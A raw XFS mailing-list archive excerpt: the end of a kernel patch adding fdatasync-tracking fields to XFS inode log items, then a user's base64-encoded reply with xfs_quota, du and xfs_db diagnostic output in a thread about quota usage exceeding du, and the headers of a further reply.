iip->ili_fsync_fields = 0; } /* * Release the inode's flush lock since we're done with it. diff --git a/fs/xfs/xfs_inode_item.h b/fs/xfs/xfs_inode_item.h index 488d812..4c7722e 100644 --- a/fs/xfs/xfs_inode_item.h +++ b/fs/xfs/xfs_inode_item.h @@ -34,6 +34,7 @@ typedef struct xfs_inode_log_item { unsigned short ili_logged; /* flushed logged data */ unsigned int ili_last_fields; /* fields when flushed */ unsigned int ili_fields; /* fields to be logged */ + unsigned int ili_fsync_fields; /* logged since last fsync */ } xfs_inode_log_item_t; static inline int xfs_inode_clean(xfs_inode_t *ip) diff --git a/fs/xfs/xfs_trans_inode.c b/fs/xfs/xfs_trans_inode.c index 17280cd..b97f1df 100644 --- a/fs/xfs/xfs_trans_inode.c +++ b/fs/xfs/xfs_trans_inode.c @@ -108,6 +108,15 @@ xfs_trans_log_inode( ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); /* + * Record the specific change for fdatasync optimisation. This + * allows fdatasync to skip log forces for inodes that are only + * timestamp dirty. We do this before the change count so that + * the core being logged in this case does not impact on fdatasync + * behaviour. + */ + ip->i_itemp->ili_fsync_fields |= flags; + + /* * First time we log the inode in a transaction, bump the inode change * counter if it is configured for this to occur. We don't use * inode_inc_version() because there is no need for extra locking around -- 2.5.0 From eyniy@qq.com Wed Oct 21 01:37:41 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AAA297F37 for ; Wed, 21 Oct 2015 01:37:41 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 79E9130404E for ; Tue, 20 Oct 2015 23:37:41 -0700 (PDT) X-ASG-Debug-ID: 1445409457-04cbb035aa124720001-NocioJ Received: from smtpbguseast2.qq.com (smtpbguseast2.qq.com [54.204.34.130]) by cuda.sgi.com with ESMTP id x85Ucbp3SUSd7knX (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 20 Oct 2015 23:37:39 -0700 (PDT) X-Barracuda-Envelope-From: eyniy@qq.com X-Barracuda-Apparent-Source-IP: 54.204.34.130 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qq.com; s=s201307; t=1445409426; bh=op7NtXfY8UHs5lNPhMtFAzNNRwMlwgiMZXUIRYUTSW8=; h=In-Reply-To:References:From:To:Cc:Subject:Mime-Version:Content-Type:Content-Transfer-Encoding:Date:Message-ID; b=cVpFfzHJhxCrnLgPTWOAdkbRYB8aBZE5fxe2iezcI8RSzAmT10htNUOetT4coM1xN 16f+O42JWMdy9SBP4YFvEWUuItM7EkAMaIRriLJiyYhfAx9Y09YdO2kKqjkL9Iqaeu vbmPwRJs0++jrOfh+R59nIBHrz2eZTzXD5rTRQ4w= X-QQ-FEAT: KzfM1CxOQjzhRQBSSSElj+rW7uo3rAQDmnJs6slTjffEldfrflyb/9Rkub97K o8hhukiYhlxIPfOxftNVgWCGkumoHUSwb/H0ga7VVWoFv8VoH1ZgPWmQHeObUtg3+EXw5tU sf+FCKz9fwAbEztXiuLOf+VRV7E+RlXIESQuI9hw4cUnPFUdfQD7xEUINk1G+kfbUadOtxq 56hLfuqtNy2vtNq10Q1xIq6vY+WDHR2CFYFQRLyql/8tSk3XXgNrrHXEJ8pyl5F6QUk4OJX kmUg== X-QQ-SSF: 000000000000006000000000000000Z X-HAS-ATTACH: no X-QQ-BUSINESS-ORIGIN: 2 X-Originating-IP: 59.37.90.108 In-Reply-To: <0952A0E9-F360-46CE-BE7A-1B8473700F08@sandeen.net> References: <0952A0E9-F360-46CE-BE7A-1B8473700F08@sandeen.net> X-QQ-STYLE: X-QQ-mid: webmail661t1445409424t150228 From: "=?ISO-8859-1?B?WWVZaW4=?=" To: "=?ISO-8859-1?B?RXJpYyBTYW5kZWVu?=" Cc: "=?ISO-8859-1?B?eGZz?=" Subject: Re: du result is smaller than xfs_quota report Mime-Version: 1.0 X-ASG-Orig-Subj: Re: du result is smaller than xfs_quota report Content-Type: multipart/alternative; boundary="----=_NextPart_56273290_0926DA60_26BE58AB" Content-Transfer-Encoding: 8Bit Date: Wed, 21 Oct 2015 14:37:04 +0800 X-Priority: 3 Message-ID: X-QQ-MIME: TCMime 1.0 by Tencent X-Mailer: QQMail 2.x X-QQ-Mailer: QQMail 2.x X-QQ-ReplyHash: 2464123313 X-QQ-SENDSIZE: 520 X-QQ-Bgrelay: 1 X-Barracuda-Connect: smtpbguseast2.qq.com[54.204.34.130] X-Barracuda-Start-Time: 1445409457 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.06 X-Barracuda-Spam-Status: No, SCORE=1.06 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED, FROM_EXCESS_BASE64, FROM_EXCESS_BASE64_2, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23679 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 FROM_EXCESS_BASE64 From: base64 encoded unnecessarily 1.05 FROM_EXCESS_BASE64_2 From: base64 encoded unnecessarily This is a multi-part message in MIME format. ------=_NextPart_56273290_0926DA60_26BE58AB Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: base64 PiBJcyBhbnl0aGluZyBtb3VudGVkIHVuZGVyIHRoYXQgZGlyZWN0b3J5IGhpZXJhcmNoeSwg YW5kIGhpZGluZyBmaWxlcyBmcm9tIGR1J3Mgdmlldz8NCg0KDQpObywgVGhhbmtzLiBJIGZv dW5kIHNvbWUgdW5saW5rZWQgaW5vZGVzLCBidXQgSSBjYW4ndCBnZXQgc29tZSB1c2VmdWwg aW5mb3JtYXRpb246DQoNCg0KIyB4ZnNfZGIgLXhyIC1jICdhZ2kgMScgLWMgcCAvZGV2L3Nk YTQgIA0KbWFnaWNudW0gPSAweDU4NDE0NzQ5DQp2ZXJzaW9ubnVtID0gMQ0Kc2Vxbm8gPSAx DQpsZW5ndGggPSA4OTE1MDU5Mg0KY291bnQgPSA5NDcyDQpyb290ID0gMw0KbGV2ZWwgPSAx DQpmcmVlY291bnQgPSAxOTAyDQpuZXdpbm8gPSA5OTc5NTINCmRpcmlubyA9IG51bGwNCnVu bGlua2VkWzAtNjNdID0gMDo3ODI3MiAxOjk4NTYxIDI6OTg1NjIgMzo3ODI3NSA0Ojc3MDYw IDU6NzgyNzcgNjo3NzA2MiA3Ojc4Mjc5IDg6OTg1NjggOTo5ODU2OSAxMDo5ODU3MCAxMTo3 NzA2NyAxMjo3NzA2OCAxMzo5ODU3MyAxNDo5ODU3NCAxNTo3ODI4NyAxNjo5ODU3NiAxNzo5 ODU3NyAxODo3ODI5MCAxOTo5ODUxNSAyMDo5ODA2OCAyMTo3ODE2NSAyMjo3ODI5NCAyMzo3 ODI5NSAyNDo3ODE2OCAyNTo4ODg5ODUgMjY6NzgxNzAgMjc6OTgwNzUgMjg6NzgxNzIgMjk6 NzgzMDEgMzA6NzgzMDIgMzE6OTgwNzkgMzI6ODg4OTkyIDMzOjc2MTI5IDM0Ojk4MDgyIDM1 Ojc2MTMxIDM2Ojk4MDg0IDM3Ojk4Mjc3IDM4Ojk4Mjc4IDM5OjkxMDUwMyA0MDo5ODI4MCA0 MTo5ODI4MSA0Mjo5ODI4MiA0Mzo5ODA5MSA0NDo5ODA5MiA0NTo5ODU0MSA0Njo5ODA5NCA0 Nzo5ODA5NSA0ODo3Njk3NiA0OTo3NTk1MyA1MDo3NTk1NCA1MTo5ODU0NyA1Mjo5ODQ4NCA1 Mzo5ODQ4NSA1NDo5ODU1MCA1NTo5ODU1MSA1Njo5ODQ4OCA1Nzo5ODQ4OSA1ODo5ODEwNiA1 OTo5ODQ5MSA2MDo5ODQ5MiA2MTo4ODkwMjEgNjI6OTg1NTggNjM6OTg0OTUNCg0KDQoNCg0K DQojIHhmc19kYiAteHIgLWMgJ2lub2RlIDc4MjcyJyAtYyBwIC9kZXYvc2RhNA0KY29yZS5t YWdpYyA9IDANCmNvcmUubW9kZSA9IDANCmNvcmUudmVyc2lvbiA9IDANCmNvcmUuZm9ybWF0 ID0gMCAoZGV2KQ0KY29yZS51aWQgPSAwDQpjb3JlLmdpZCA9IDANCmNvcmUuZmx1c2hpdGVy ID0gMA0KY29yZS5hdGltZS5zZWMgPSBUaHUgSmFuICAxIDA4OjAwOjAwIDE5NzANCmNvcmUu YXRpbWUubnNlYyA9IDAwMDAwMDAwMA0KY29yZS5tdGltZS5zZWMgPSBUaHUgSmFuICAxIDA4 OjAwOjAwIDE5NzANCmNvcmUubXRpbWUubnNlYyA9IDAwMDAwMDAwMA0KY29yZS5jdGltZS5z ZWMgPSBUaHUgSmFuICAxIDA4OjAwOjAwIDE5NzANCmNvcmUuY3RpbWUubnNlYyA9IDAwMDAw MDAwMA0KY29yZS5zaXplID0gMA0KY29yZS5uYmxvY2tzID0gMA0KY29yZS5leHRzaXplID0g MA0KY29yZS5uZXh0ZW50cyA9IDANCmNvcmUubmFleHRlbnRzID0gMA0KY29yZS5mb3Jrb2Zm ID0gMA0KY29yZS5hZm9ybWF0ID0gMCAoZGV2KQ0KY29yZS5kbWV2bWFzayA9IDANCmNvcmUu ZG1zdGF0ZSA9IDANCmNvcmUubmV3cnRibSA9IDANCmNvcmUucHJlYWxsb2MgPSAwDQpjb3Jl LnJlYWx0aW1lID0gMA0KY29yZS5pbW11dGFibGUgPSAwDQpjb3JlLmFwcGVuZCA9IDANCmNv cmUuc3luYyA9IDANCmNvcmUubm9hdGltZSA9IDANCmNvcmUubm9kdW1wID0gMA0KY29yZS5y dGluaGVyaXQgPSAwDQpjb3JlLnByb2ppbmhlcml0ID0gMA0KY29yZS5ub3N5bWxpbmtzID0g MA0KY29yZS5leHRzeiA9IDANCmNvcmUuZXh0c3ppbmhlcml0ID0gMA0KY29yZS5ub2RlZnJh ZyA9IDANCmNvcmUuZmlsZXN0cmVhbSA9IDANCmNvcmUuZ2VuID0gMA0KbmV4dF91bmxpbmtl ZCA9IDANCnUuZGV2ID0gMA0KDQoNCg0KVGhhbmtzLA0KWWUNCg0KDQotLS0tLS0tLS0tLS0t LS0tLS0gT3JpZ2luYWwgLS0tLS0tLS0tLS0tLS0tLS0tDQpGcm9tOiAgIkVyaWMgU2FuZGVl biI7PHNhbmRlZW5Ac2FuZGVlbi5uZXQ+Ow0KRGF0ZTogIFdlZCwgT2N0IDIxLCAyMDE1IDAz OjM1IEFNDQpUbzogICJZZVlpbiI8ZXluaXlAcXEuY29tPjsgDQpDYzogICJ4ZnMiPHhmc0Bv c3Muc2dpLmNvbT47IA0KU3ViamVjdDogIFJlOiBkdSByZXN1bHQgaXMgc21hbGxlciB0aGFu IHhmc19xdW90YSByZXBvcnQNCg0KDQoNCg0KPiBPbiBPY3QgMjAsIDIwMTUsIGF0IDQ6MDkg QU0sIFllWWluIDxleW5peUBxcS5jb20+IHdyb3RlOg0KPiANCj4gSGksIGFsbCwNCj4gSSBl bmNvdW50ZXJlZCBzb21lIHByb2JsZW1zIHdoZW4gSSB1c2VkIFhGUyB3aXRoIHByb2plY3Qg cXVvdGE6DQo+IA0KPiAjIGNhdCAvZXRjL3Byb2ppZCANCj4gZG9ja2VyLTE1MDkxNDIxMzk2 NDI2OjY1MDYxDQo+IGRvY2tlci0xNTA5MjMxMTUyMjQwOToyNjI4Ng0KPiBkb2NrZXItMTUx MDEyMTU2MzcyOTQ6MTQxNjINCj4gDQo+ICMgY2F0IC9ldGMvcHJvamVjdHMgDQo+IDY1MDYx Oi9kYXRhL2RvY2tlci12b2x1bWVzL2RvY2tlci0xNTA5MTQyMTM5NjQyNg0KPiAyNjI4Njov ZGF0YS9kb2NrZXItdm9sdW1lcy9kb2NrZXItMTUwOTIzMTE1MjI0MDkNCj4gMTQxNjI6L2Rh dGEvZG9ja2VyLXZvbHVtZXMvZG9ja2VyLTE1MTAxMjE1NjM3Mjk0DQo+IA0KPiAjIHhmc19x dW90YSAteGMgJ3JlcG9ydCAtaCcgL2RhdGEgICAgICAgICAgDQo+IFByb2plY3QgcXVvdGEg b24gL2RhdGEgKC9kZXYvc2RhNCkNCj4gICAgICAgICAgICAgICAgICAgICAgICAgQmxvY2tz ICAgICAgICAgICAgICANCj4gUHJvamVjdCBJRCAgIFVzZWQgICBTb2Z0ICAgSGFyZCBXYXJu L0dyYWNlICAgDQo+IC0tLS0tLS0tLS0gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tIA0KPiBkb2NrZXItMTUwOTE0MjEzOTY0MjYgICAxLjBHICAgICAgMCAgIDEwMEcgIDAw IFstLS0tLS1dDQo+IGRvY2tlci0xNTA5MjMxMTUyMjQwOSAzNzEuNUcgICAgICAwICAgNzAw RyAgMDAgWy0tLS0tLV0NCj4gZG9ja2VyLTE1MTAxMjE1NjM3Mjk0IDkyMC44TSAgICAgIDAg ICA0MDBHICAwMCBbLS0tLS0tXQ0KPiANCj4gIyBkdSAtc2ggL2RhdGEvZG9ja2VyLXZvbHVt ZXMvZG9ja2VyLTE1MDkyMzExNTIyNDA5IA0KPiAyMDBHICAgIC9kYXRhL2RvY2tlci12b2x1 bWVzL2RvY2tlci0xNTA5MjMxMTUyMjQwOQ0KPiANCj4gQXMgd2UgY2FuIHNlZSwgIGR1J3Mg cmVzdWx0KDIwMEcpIGlzIHNtYWxsZXIgdGhhbiB4ZnNfcXVvdGEgcmVwb3J0Lg0KPiANCklz IGFueXRoaW5nIG1vdW50ZWQgdW5kZXIgdGhhdCBkaXJlY3RvcnkgaGllcmFyY2h5LCBhbmQg aGlkaW5nIGZpbGVzIGZyb20gZHUncyB2aWV3Pw0KDQpFcmlj ------=_NextPart_56273290_0926DA60_26BE58AB Content-Type: text/html; charset="ISO-8859-1" Content-Transfer-Encoding: base64 PGRpdj4mZ3Q7IElzIGFueXRoaW5nIG1vdW50ZWQgdW5kZXIgdGhhdCBkaXJlY3RvcnkgaGll cmFyY2h5LCBhbmQgaGlkaW5nIGZpbGVzIGZyb20gZHUncyB2aWV3PzwvZGl2PjxkaXY+PGJy PjwvZGl2PjxkaXY+Tm8sIFRoYW5rcy4gSSBmb3VuZCBzb21lIHVubGlua2VkIGlub2Rlcywg YnV0IEkgY2FuJ3QgZ2V0IHNvbWUgdXNlZnVsIGluZm9ybWF0aW9uOjwvZGl2PjxkaXY+PGJy PjwvZGl2PjxkaXY+PGRpdj4jIHhmc19kYiAteHIgLWMgJ2FnaSAxJyAtYyBwIC9kZXYvc2Rh NCAmbmJzcDs8L2Rpdj48ZGl2Pm1hZ2ljbnVtID0gMHg1ODQxNDc0OTwvZGl2PjxkaXY+dmVy c2lvbm51bSA9IDE8L2Rpdj48ZGl2PnNlcW5vID0gMTwvZGl2PjxkaXY+bGVuZ3RoID0gODkx NTA1OTI8L2Rpdj48ZGl2PmNvdW50ID0gOTQ3MjwvZGl2PjxkaXY+cm9vdCA9IDM8L2Rpdj48 ZGl2PmxldmVsID0gMTwvZGl2PjxkaXY+ZnJlZWNvdW50ID0gMTkwMjwvZGl2PjxkaXY+bmV3 aW5vID0gOTk3OTUyPC9kaXY+PGRpdj5kaXJpbm8gPSBudWxsPC9kaXY+PGRpdj51bmxpbmtl ZFswLTYzXSA9IDA6NzgyNzIgMTo5ODU2MSAyOjk4NTYyIDM6NzgyNzUgNDo3NzA2MCA1Ojc4 Mjc3IDY6NzcwNjIgNzo3ODI3OSA4Ojk4NTY4IDk6OTg1NjkgMTA6OTg1NzAgMTE6NzcwNjcg MTI6NzcwNjggMTM6OTg1NzMgMTQ6OTg1NzQgMTU6NzgyODcgMTY6OTg1NzYgMTc6OTg1Nzcg MTg6NzgyOTAgMTk6OTg1MTUgMjA6OTgwNjggMjE6NzgxNjUgMjI6NzgyOTQgMjM6NzgyOTUg MjQ6NzgxNjggMjU6ODg4OTg1IDI2Ojc4MTcwIDI3Ojk4MDc1IDI4Ojc4MTcyIDI5Ojc4MzAx IDMwOjc4MzAyIDMxOjk4MDc5IDMyOjg4ODk5MiAzMzo3NjEyOSAzNDo5ODA4MiAzNTo3NjEz MSAzNjo5ODA4NCAzNzo5ODI3NyAzODo5ODI3OCAzOTo5MTA1MDMgNDA6OTgyODAgNDE6OTgy ODEgNDI6OTgyODIgNDM6OTgwOTEgNDQ6OTgwOTIgNDU6OTg1NDEgNDY6OTgwOTQgNDc6OTgw OTUgNDg6NzY5NzYgNDk6NzU5NTMgNTA6NzU5NTQgNTE6OTg1NDcgNTI6OTg0ODQgNTM6OTg0 ODUgNTQ6OTg1NTAgNTU6OTg1NTEgNTY6OTg0ODggNTc6OTg0ODkgNTg6OTgxMDYgNTk6OTg0 OTEgNjA6OTg0OTIgNjE6ODg5MDIxIDYyOjk4NTU4IDYzOjk4NDk1PC9kaXY+PC9kaXY+PGRp dj48ZGl2Pjxicj48L2Rpdj48ZGl2Pjxicj48L2Rpdj48ZGl2PjxkaXY+IyB4ZnNfZGIgLXhy IC1jICdpbm9kZSA3ODI3MicgLWMgcCAvZGV2L3NkYTQ8L2Rpdj48ZGl2PmNvcmUubWFnaWMg PSAwPC9kaXY+PGRpdj5jb3JlLm1vZGUgPSAwPC9kaXY+PGRpdj5jb3JlLnZlcnNpb24gPSAw PC9kaXY+PGRpdj5jb3JlLmZvcm1hdCA9IDAgKGRldik8L2Rpdj48ZGl2PmNvcmUudWlkID0g MDwvZGl2PjxkaXY+Y29yZS5naWQgPSAwPC9kaXY+PGRpdj5jb3JlLmZsdXNoaXRlciA9IDA8 L2Rpdj48ZGl2PmNvcmUuYXRpbWUuc2VjID0gVGh1IEphbiAmbmJzcDsxIDA4OjAwOjAwIDE5 NzA8L2Rpdj48ZGl2PmNvcmUuYXRpbWUubnNlYyA9IDAwMDAwMDAwMDwvZGl2PjxkaXY+Y29y ZS5tdGltZS5zZWMgPSBUaHUgSmFuICZuYnNwOzEgMDg6MDA6MDAgMTk3MDwvZGl2PjxkaXY+ Y29yZS5tdGltZS5uc2VjID0gMDAwMDAwMDAwPC9kaXY+PGRpdj5jb3JlLmN0aW1lLnNlYyA9 IFRodSBKYW4gJm5ic3A7MSAwODowMDowMCAxOTcwPC9kaXY+PGRpdj5jb3JlLmN0aW1lLm5z ZWMgPSAwMDAwMDAwMDA8L2Rpdj48ZGl2PmNvcmUuc2l6ZSA9IDA8L2Rpdj48ZGl2PmNvcmUu bmJsb2NrcyA9IDA8L2Rpdj48ZGl2PmNvcmUuZXh0c2l6ZSA9IDA8L2Rpdj48ZGl2PmNvcmUu bmV4dGVudHMgPSAwPC9kaXY+PGRpdj5jb3JlLm5hZXh0ZW50cyA9IDA8L2Rpdj48ZGl2PmNv cmUuZm9ya29mZiA9IDA8L2Rpdj48ZGl2PmNvcmUuYWZvcm1hdCA9IDAgKGRldik8L2Rpdj48 ZGl2PmNvcmUuZG1ldm1hc2sgPSAwPC9kaXY+PGRpdj5jb3JlLmRtc3RhdGUgPSAwPC9kaXY+ PGRpdj5jb3JlLm5ld3J0Ym0gPSAwPC9kaXY+PGRpdj5jb3JlLnByZWFsbG9jID0gMDwvZGl2 PjxkaXY+Y29yZS5yZWFsdGltZSA9IDA8L2Rpdj48ZGl2PmNvcmUuaW1tdXRhYmxlID0gMDwv ZGl2PjxkaXY+Y29yZS5hcHBlbmQgPSAwPC9kaXY+PGRpdj5jb3JlLnN5bmMgPSAwPC9kaXY+ PGRpdj5jb3JlLm5vYXRpbWUgPSAwPC9kaXY+PGRpdj5jb3JlLm5vZHVtcCA9IDA8L2Rpdj48 ZGl2PmNvcmUucnRpbmhlcml0ID0gMDwvZGl2PjxkaXY+Y29yZS5wcm9qaW5oZXJpdCA9IDA8 L2Rpdj48ZGl2PmNvcmUubm9zeW1saW5rcyA9IDA8L2Rpdj48ZGl2PmNvcmUuZXh0c3ogPSAw PC9kaXY+PGRpdj5jb3JlLmV4dHN6aW5oZXJpdCA9IDA8L2Rpdj48ZGl2PmNvcmUubm9kZWZy YWcgPSAwPC9kaXY+PGRpdj5jb3JlLmZpbGVzdHJlYW0gPSAwPC9kaXY+PGRpdj5jb3JlLmdl biA9IDA8L2Rpdj48ZGl2Pm5leHRfdW5saW5rZWQgPSAwPC9kaXY+PGRpdj51LmRldiA9IDA8 L2Rpdj48L2Rpdj48ZGl2Pjxicj48L2Rpdj48ZGl2PlRoYW5rcyw8L2Rpdj48ZGl2PlllPC9k aXY+PGRpdj48YnI+PC9kaXY+PGRpdiBzdHlsZT0iZm9udC1zaXplOiAxMnB4O2ZvbnQtZmFt aWx5OiBBcmlhbCBOYXJyb3c7cGFkZGluZzoycHggMCAycHggMDsiPi0tLS0tLS0tLS0tLS0t LS0tLSZuYnNwO09yaWdpbmFsJm5ic3A7LS0tLS0tLS0tLS0tLS0tLS0tPC9kaXY+PGRpdiBz dHlsZT0iZm9udC1zaXplOiAxMnB4O2JhY2tncm91bmQ6I2VmZWZlZjtwYWRkaW5nOjhweDsi PjxkaXY+PGI+RnJvbTogPC9iPiZuYnNwOyJFcmljIFNhbmRlZW4iOyZsdDtzYW5kZWVuQHNh bmRlZW4ubmV0Jmd0Ozs8L2Rpdj48ZGl2PjxiPkRhdGU6IDwvYj4mbmJzcDtXZWQsIE9jdCAy MSwgMjAxNSAwMzozNSBBTTwvZGl2PjxkaXY+PGI+VG86IDwvYj4mbmJzcDsiWWVZaW4iJmx0 O2V5bml5QHFxLmNvbSZndDs7IDx3YnI+PC9kaXY+PGRpdj48Yj5DYzogPC9iPiZuYnNwOyJ4 ZnMiJmx0O3hmc0Bvc3Muc2dpLmNvbSZndDs7IDx3YnI+PC9kaXY+PGRpdj48Yj5TdWJqZWN0 OiA8L2I+Jm5ic3A7UmU6IGR1IHJlc3VsdCBpcyBzbWFsbGVyIHRoYW4geGZzX3F1b3RhIHJl cG9ydDwvZGl2PjwvZGl2PjxkaXY+PGJyPjwvZGl2Pjxicj4mZ3Q7IE9uIE9jdCAyMCwgMjAx NSwgYXQgNDowOSBBTSwgWWVZaW4gJmx0O2V5bml5QHFxLmNvbSZndDsgd3JvdGU6PGJyPiZn dDsgPGJyPiZndDsgSGksIGFsbCw8YnI+Jmd0OyBJIGVuY291bnRlcmVkIHNvbWUgcHJvYmxl bXMgd2hlbiBJIHVzZWQgWEZTIHdpdGggcHJvamVjdCBxdW90YTo8YnI+Jmd0OyA8YnI+Jmd0 OyAjIGNhdCAvZXRjL3Byb2ppZCA8YnI+Jmd0OyBkb2NrZXItMTUwOTE0MjEzOTY0MjY6NjUw NjE8YnI+Jmd0OyBkb2NrZXItMTUwOTIzMTE1MjI0MDk6MjYyODY8YnI+Jmd0OyBkb2NrZXIt MTUxMDEyMTU2MzcyOTQ6MTQxNjI8YnI+Jmd0OyA8YnI+Jmd0OyAjIGNhdCAvZXRjL3Byb2pl Y3RzIDxicj4mZ3Q7IDY1MDYxOi9kYXRhL2RvY2tlci12b2x1bWVzL2RvY2tlci0xNTA5MTQy MTM5NjQyNjxicj4mZ3Q7IDI2Mjg2Oi9kYXRhL2RvY2tlci12b2x1bWVzL2RvY2tlci0xNTA5 MjMxMTUyMjQwOTxicj4mZ3Q7IDE0MTYyOi9kYXRhL2RvY2tlci12b2x1bWVzL2RvY2tlci0x NTEwMTIxNTYzNzI5NDxicj4mZ3Q7IDxicj4mZ3Q7ICMgeGZzX3F1b3RhIC14YyAncmVwb3J0 IC1oJyAvZGF0YSZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyA8YnI+Jmd0OyBQcm9qZWN0IHF1b3RhIG9uIC9kYXRhICgvZGV2L3NkYTQp PGJyPiZndDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgQmxvY2tzJm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IDxicj4mZ3Q7IFByb2plY3QgSUQmbmJzcDsmbmJzcDsg VXNlZCZuYnNwOyZuYnNwOyBTb2Z0Jm5ic3A7Jm5ic3A7IEhhcmQgV2Fybi9HcmFjZSZuYnNw OyZuYnNwOyA8YnI+Jmd0OyAtLS0tLS0tLS0tIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLSA8YnI+Jmd0OyBkb2NrZXItMTUwOTE0MjEzOTY0MjYmbmJzcDsmbmJzcDsgMS4w RyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyAwJm5ic3A7Jm5ic3A7IDEwMEcmbmJz cDsgMDAgWy0tLS0tLV08YnI+Jmd0OyBkb2NrZXItMTUwOTIzMTE1MjI0MDkgMzcxLjVHJm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IDAmbmJzcDsmbmJzcDsgNzAwRyZuYnNwOyAw MCBbLS0tLS0tXTxicj4mZ3Q7IGRvY2tlci0xNTEwMTIxNTYzNzI5NCA5MjAuOE0mbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgMCZuYnNwOyZuYnNwOyA0MDBHJm5ic3A7IDAwIFst LS0tLS1dPGJyPiZndDsgPGJyPiZndDsgIyBkdSAtc2ggL2RhdGEvZG9ja2VyLXZvbHVtZXMv ZG9ja2VyLTE1MDkyMzExNTIyNDA5IDxicj4mZ3Q7IDIwMEcmbmJzcDsmbmJzcDsmbmJzcDsg L2RhdGEvZG9ja2VyLXZvbHVtZXMvZG9ja2VyLTE1MDkyMzExNTIyNDA5PGJyPiZndDsgPGJy PiZndDsgQXMgd2UgY2FuIHNlZSwmbmJzcDsgZHUncyByZXN1bHQoMjAwRykgaXMgc21hbGxl ciB0aGFuIHhmc19xdW90YSByZXBvcnQuPGJyPiZndDsgPGJyPklzIGFueXRoaW5nIG1vdW50 ZWQgdW5kZXIgdGhhdCBkaXJlY3RvcnkgaGllcmFyY2h5LCBhbmQgaGlkaW5nIGZpbGVzIGZy b20gZHUncyB2aWV3Pzxicj48YnI+RXJpYzwvZGl2Pg== ------=_NextPart_56273290_0926DA60_26BE58AB-- From david@fromorbit.com Wed Oct 21 02:13:39 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A48057F37 for ; Wed, 21 Oct 2015 02:13:39 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3D0BDAC001 for ; Wed, 21 Oct 2015 00:13:36 -0700 (PDT) X-ASG-Debug-ID: 1445411613-04bdf06db2148750001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id KLKAp8ad3AavgYyN for ; Wed, 21 Oct 2015 00:13:33 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2CWCAAYOidWPGieLHldKAGDDYFDglyDfqJhBoskiyWGGAICAQECgUFNAQEBAQEBBwEBAQFBP4QuAQEEOhwjEAgDGAklDwUlAwcaE4gvwxQBAQEHAgEgGYYXhUWBI4NqB4MagRQBBJYkjRePLIx9hHoqNIVnAQEB Received: from ppp121-44-158-104.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.104]) by ipmail06.adl6.internode.on.net with ESMTP; 21 Oct 2015 17:43:32 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZonaV-0006Bi-BL; Wed, 21 Oct 2015 18:13:31 +1100 Date: Wed, 21 Oct 2015 18:13:31 +1100 From: Dave Chinner To: YeYin Cc: Eric Sandeen , xfs Subject: Re: du result is smaller than xfs_quota report Message-ID: <20151021071331.GD19199@dastard> X-ASG-Orig-Subj: Re: du result is smaller than xfs_quota report References: <0952A0E9-F360-46CE-BE7A-1B8473700F08@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) 